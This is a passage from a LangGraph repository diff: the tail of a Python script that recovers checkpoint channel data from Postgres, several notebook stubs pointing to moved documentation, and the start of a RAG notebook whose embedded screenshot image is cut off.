"checkpoint_ns": checkpoint_ns, + "target_checkpoint_id": target_checkpoint_id, + "parent_checkpoint_id": parent_checkpoint_id, + "channels": channels, + } + + +def parse_args(argv: list[str] | None = None) -> argparse.Namespace: + parser = argparse.ArgumentParser( + description=( + "Recover delta-channel seed + writes from Postgres checkpoint data." + ), + ) + parser.add_argument("--thread-id", required=True, help="Thread UUID") + parser.add_argument( + "--channel", + action="append", + required=True, + dest="channels", + help="Channel name (repeatable)", + ) + parser.add_argument( + "--checkpoint-id", + default=None, + help="Target checkpoint UUID (default: latest for thread)", + ) + parser.add_argument( + "--checkpoint-ns", + default="", + help='Checkpoint namespace (default: "")', + ) + parser.add_argument( + "--database-uri", + default=os.environ.get("DATABASE_URI"), + help="Postgres URI (default: DATABASE_URI env var)", + ) + parser.add_argument( + "--output", + default="-", + help="Output JSON file path (default: stdout)", + ) + return parser.parse_args(argv) + + +def main(argv: list[str] | None = None) -> int: + args = parse_args(argv) + if not args.database_uri: + print( + "error: --database-uri or DATABASE_URI is required", + file=sys.stderr, + ) + return 2 + + thread_id = str(uuid.UUID(args.thread_id)) + channels = list(dict.fromkeys(args.channels)) + + with psycopg.connect(args.database_uri) as conn: + target_checkpoint_id = resolve_target_checkpoint_id( + conn, + thread_id, + args.checkpoint_ns, + args.checkpoint_id, + ) + parent_checkpoint_id, channel_data = walk_parent_chain( + conn, + thread_id=thread_id, + checkpoint_ns=args.checkpoint_ns, + target_checkpoint_id=target_checkpoint_id, + channels=channels, + ) + + output = build_output( + thread_id=thread_id, + checkpoint_ns=args.checkpoint_ns, + target_checkpoint_id=target_checkpoint_id, + parent_checkpoint_id=parent_checkpoint_id, + channels=channel_data, + ) + payload = json.dumps(output, indent=2, default=json_default) + + if args.output == "-": + print(payload) + else: + with open(args.output, "w", encoding="utf-8") as f: + f.write(payload) + f.write("\n") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/extraction/retries.ipynb b/examples/extraction/retries.ipynb new file mode 100644 index 0000000..7d70839 --- /dev/null +++ b/examples/extraction/retries.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "8dbdba5b", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/extraction/retries.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "1d444b7f", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/human_in_the_loop/wait-user-input.ipynb b/examples/human_in_the_loop/wait-user-input.ipynb new file mode 100644 index 0000000..cac624b --- /dev/null +++ b/examples/human_in_the_loop/wait-user-input.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "3ecab357", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/human_in_the_loop/wait-user-input.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "3f2866bd", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/lats/lats.ipynb b/examples/lats/lats.ipynb new file mode 100644 index 0000000..e3b7c93 --- /dev/null +++ b/examples/lats/lats.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "09038b53", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/lats/lats.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "b1669748", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/llm-compiler/LLMCompiler.ipynb b/examples/llm-compiler/LLMCompiler.ipynb new file mode 100644 index 0000000..d31905d --- /dev/null +++ b/examples/llm-compiler/LLMCompiler.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "85205e97", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/llm-compiler/LLMCompiler.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "2fdab366", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/multi_agent/hierarchical_agent_teams.ipynb b/examples/multi_agent/hierarchical_agent_teams.ipynb new file mode 100644 index 0000000..f4754a0 --- /dev/null +++ b/examples/multi_agent/hierarchical_agent_teams.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "5cc8a2ad", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/multi_agent/hierarchical_agent_teams.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "b9f3508a", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/multi_agent/multi-agent-collaboration.ipynb b/examples/multi_agent/multi-agent-collaboration.ipynb new file mode 100644 index 0000000..3da5c94 --- /dev/null +++ b/examples/multi_agent/multi-agent-collaboration.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "d2b507b9", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/multi_agent/multi-agent-collaboration.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "41a8f10a", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/plan-and-execute/plan-and-execute.ipynb b/examples/plan-and-execute/plan-and-execute.ipynb new file mode 100644 index 0000000..d529446 --- /dev/null +++ b/examples/plan-and-execute/plan-and-execute.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "9138f92e", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/plan-and-execute/plan-and-execute.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "093678ba", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_adaptive_rag.ipynb b/examples/rag/langgraph_adaptive_rag.ipynb new file mode 100644 index 0000000..d118d58 --- /dev/null +++ b/examples/rag/langgraph_adaptive_rag.ipynb @@ -0,0 +1,938 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "fedd6d23", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "36fa621a-9d3d-4860-a17c-5d20e6987481.png": { + "image/png": "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